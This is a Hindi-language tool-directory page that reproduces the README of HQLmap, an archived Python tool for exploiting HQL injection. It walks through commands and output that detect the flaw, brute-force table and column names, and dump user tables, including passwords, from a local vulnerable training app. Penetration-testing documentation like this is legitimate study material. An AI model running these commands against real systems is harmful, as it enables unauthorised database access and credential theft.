Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
HQLmap — (अप्रचलित) HQLmap, HQL इंजेक्शन का दोहन करने के लिए स्वचालित उपकरण | Kitploit
उपकरण/GitHubGitHub/paulsec/hqlmap
भेद्यता स्कैनरवेब एप्लिकेशन शोषणजानकारी एकत्र करनापेनिट्रेशन टेस्टिंगडेटाबेस सुरक्षाArchived
GitHubpaulsec/hqlmap

HQLmap

(अप्रचलित) HQLmap, HQL इंजेक्शन का दोहन करने के लिए स्वचालित उपकरण

रिपॉजिटरी देखें
228436 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

HQLMap

यह प्रोजेक्ट HQL इंजेक्शन (HQL Injections) का शोषण करने के लिए बनाया गया है। यह टूल Python में लिखा गया है और MIT लाइसेंस के अंतर्गत जारी किया गया है। भविष्य के विकास : मेरे मन में SQLmap के लिए विशिष्ट मॉड्यूल विकसित करने का विचार है।

आप इस टूल को कहाँ आज़मा सकते हैं ?

यदि आप एक तेज़ असुरक्षित वातावरण चाहते हैं जहाँ आप इस टूल को आज़मा सकते हैं, तो मैं RopeyTasks उपयोग करने की अनुशंसा करूँगा : https://github.com/continuumsecurity/RopeyTasks/

इसके अलावा, यदि आप HQLi के बारे में अधिक जानकारी चाहते हैं, तो इस ब्लॉग पोस्ट को देखें : http://blog.h3xstream.com/2014/02/hql-for-pentesters.html

स्थापना

इस प्रोजेक्ट को स्थापित करने के लिए, आपको बस टाइप करके इस प्रोजेक्ट को क्लोन करना होगा :

root@kitploit:~
git clone [email protected]:PaulSec/HQLmap.git

उपयोग

इस प्रोजेक्ट का उपयोग करने के लिए, निर्देशिका में जाएँ :

root@kitploit:~
cd HQLmap

और प्रोजेक्ट लॉन्च करें :

root@kitploit:~
python HQLmap.py

उसके बाद उपयोग प्रदर्शित होता है :

root@kitploit:~
Usage: HQLmap.py [options]

Options:
  -h, --help            show this help message and exit
  --url=URL             qURL to pentest
  --cookie=COOKIE       Cookie to test it
  --param=PARAM         Param to test
  --postdata=POSTDATA   Postdata (POST Method)  
  --message=BLIND_HQLI_MESSAGE
                        Message appearing while Blind HQLi
  --tables              Tries to gather as much tables as possible (With
                        Bruteforce)
  --T=TABLE             Name of the table you want to get
  --table_name_file=FILE_TABLE
                        DB file for name of tables
  --columns             Tries to gather as much columns as possible (With
                        Bruteforce)
  --C=COLUMN            Name of the column you want to get
  --column_name_file=FILE_COLUMN
                        DB file for name of columns
  --check               Check if host is vulnerable
  --user                Tries to get user() from dbms
  --count               Get count of specified table(s)
  --dump                Dump specified table(s) / column(s)
  --results             Enumerate results after session
  --verbose             Verbose mode

उपयोग

यह भाग विभिन्न परिदृश्यों को शामिल करता है।

होस्ट असुरक्षित है या नहीं की जाँच करना

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --check

आउटपुट बहुत सरल है :

root@kitploit:~
Host seems vulnerable.

POSTDATA के साथ जाँच करना

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=A101D5D76A260E9ECD2E10ADE9DF0E47" --T=User --results --dump --postdata="username=Test&password=Test!!!"

टेबल्स की सूची बनाना

root@kitploit:~
$ python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --tables

यहाँ आउटपुट है :

root@kitploit:~
[!] Table User has been found.
[!] Table Task has been found.
[-] Table News does not exist.
[-] Table Test does not exist.

इस प्रकार की सूची बनाने (enumeration) करने पर, स्कैनर टेबल के नामों के लिए डिफ़ॉल्ट फ़ाइल का उपयोग करता है यदि निर्दिष्ट न हो। डिफ़ॉल्ट फ़ाइल है : db/tables.db

कॉलम्स की सूची बनाना

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --tables --columns
root@kitploit:~
[!] Table User has been found.
[!] Table Task has been found.
[-] Table News does not exist.
[-] Table Test does not exist.
[!] Column Id has been found in table Task
[-] Column username in Task does not exist.
[-] Column password in Task does not exist.
[!] Column Status has been found in table Task
[-] Column user_id in Task does not exist.
(...)
[!] Column Password has been found in table User
[-] Column status in User does not exist.
[-] Column user_id in User does not exist.
[!] Column Email has been found in table User
[!] Column Firstname has been found in table User
[!] Column Lastname has been found in table User

इस प्रकार की सूची बनाने पर, स्कैनर टेबल के नामों और कॉलम के नामों दोनों के लिए डिफ़ॉल्ट फ़ाइल का उपयोग करता है। डिफ़ॉल्ट फ़ाइलें हैं :

टेबल्स के लिए : db/tables.db कॉलम्स के लिए : db/columns.db

किसी विशिष्ट टेबल का अस्तित्व जाँचना

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --T=foo

और आउटपुट :

root@kitploit:~
[-] Table foo does not exist.

किसी विशिष्ट टेबल के कॉलम्स की सूची बनाना

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --T=User --columns

और आउटपुट :

root@kitploit:~
[!] Table User has been found.
[!] Column Id has been found in table User
[!] Column Username has been found in table User
[!] Column Password has been found in table User
[-] Column status in User does not exist.
[-] Column user_id in User does not exist.
[!] Column Email has been found in table User
[!] Column Firstname has been found in table User
[!] Column Lastname has been found in table User

किसी विशिष्ट टेबल के लिए किसी विशिष्ट कॉलम का अस्तित्व जाँचना

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --T=User --C=bar

और आउटपुट :

root@kitploit:~
[!] Table User has been found.
[-] Column bar in User does not exist.

फ़िंगरप्रिंटिंग विकल्प

किसी टेबल की गणना (count) प्राप्त करना

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --message="Eggs, Milk and Cheese baby, yeah." --T=User --count

या सभी टेबल्स के लिए :

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --message="Eggs, Milk and Cheese baby, yeah." --tables --count

और आउटपुट :

root@kitploit:~
[!] Table User has been found.
[!] Count(*) of User : 3

डेटाबेस का उपयोगकर्ता (user) प्राप्त करना

ऐसा करने के लिए, आपको एक टेबल निर्दिष्ट करनी होगी (या सभी के लिए --tables फ़्लैग) और --user फ़्लैग इस प्रकार जोड़ना होगा :

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --message="Eggs, Milk and Cheese baby, yeah." --T=User --user

और आउटपुट (कुछ सेकंड बाद) :

root@kitploit:~
[!] Table User has been found.
[!] Username of Database found : SA

उपयोगकर्ता को प्राप्त करने के लिए, मैंने "variable" द्विभाजन (dichotomy) के समान एक एल्गोरिदम लागू किया है।

डेटाबेस डंप करना

डेटाबेस से सभी टेबल्स

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=83C59DCB04A6DC954E4E1EEC2BB36EF6" --tables --columns --dump

और आउटपुट :

root@kitploit:~
(redacted)
[Task]
  [Name]
     - Bob's shopping
     - Alice's shopping
[Task]
  [User_Id]
     - 1
     - 2
[User]
  [Id]
     - 1
     - 2
     - 3
[User]
  [Username]
     - bob
     - alice
     - admin
(redacted)

डेटाबेस से विशिष्ट टेबल

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=83C59DCB04A6DC954E4E1EEC2BB36EF6" --T=User --columns --dump

और आउटपुट:

root@kitploit:~
[User]
  [Id]
     - 1
     - 2
     - 3
[User]
  [Username]
     - bob
     - alice
     - admin
[User]
  [Password]
     - password
     - password
     - password
[User]
  [Email]
     - [email protected]
     - [email protected]
     - [email protected]
[User]
  [Firstname]
     - Robert
     - Alice
     - Administrator
[User]
  [Lastname]
     - McBride
     - O'Reilly
     - Reynolds

डेटाबेस से विशिष्ट कॉलम

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=83C59DCB04A6DC954E4E1EEC2BB36EF6" --T=User --C=username --dump

और आउटपुट :

root@kitploit:~
[!] Table User has been found.
[!] Column Username has been found in table User
[User]
  [username]
     - bob
     - alice
     - admin

निष्कर्ष (& लाइसेंस)

बेझिझक प्रतिक्रिया दें और नई सुविधाओं के लिए पूछें।

प्रोजेक्ट MIT लाइसेंस के अंतर्गत जारी किया गया है।

टूल डाउनलोड करें